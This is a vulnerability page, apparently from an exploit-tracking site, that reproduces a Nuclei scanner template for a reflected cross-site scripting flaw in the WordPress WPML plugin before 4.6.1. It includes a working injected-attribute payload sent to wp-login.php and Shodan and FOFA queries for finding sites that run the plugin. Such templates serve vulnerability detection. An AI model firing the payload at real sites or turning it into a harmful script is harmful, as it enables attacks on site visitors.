wpml-multilingual-cms-xss: WordPress WPML Multilingual CMS < 4.6.1 - Cross-Site Scripting

2026-02-24 WordPress WPML Multilingual CMS PoC Public

Description

The WPML Multilingual CMS plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions prior to 4.6.1. The plugin does not escape some URL attributes before outputting them to a page, allowing attackers to inject malicious JavaScript which may be executed in the browser of an unsuspecting user.

PoC

id: wpml-multilingual-cms-xss

info:
  name: WordPress WPML Multilingual CMS < 4.6.1 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    The WPML Multilingual CMS plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in versions prior to 4.6.1. The plugin does not escape some URL attributes before outputting them to a page, allowing attackers to inject malicious JavaScript which may be executed in the browser of an unsuspecting user.
  reference:
    - https://wpscan.com/vulnerability/b9cc519c-7ec2-42c3-9f42-01e928e12139/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 7.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"/wp-content/plugins/sitepress-multilingual-cms"
    fofa-query: body="/wp-content/plugins/sitepress-multilingual-cms"
  tags: wordpress,wp,wp-plugin,wpml,xss,sitepress-multilingual-cms

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-login.php?wp_lang=%20=id=x+type=image%20id=xss%20onfoc<!>usin+alert(`document.domain`)%0c"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "id=xss onfocusin= alert(`document_domain`)", "Lost your password?</a>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100d9fe784640ac2f8ffed7d2f896d5fde90a5a393c2225f47f4252d44cc94d213c022100bfb412594789746696cf9b4f000a3cb1e80d7972606a9fe30955d87f643c0b7a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wordpress/wpml-multilingual-cms-xss.yaml

References

Related Vulnerabilities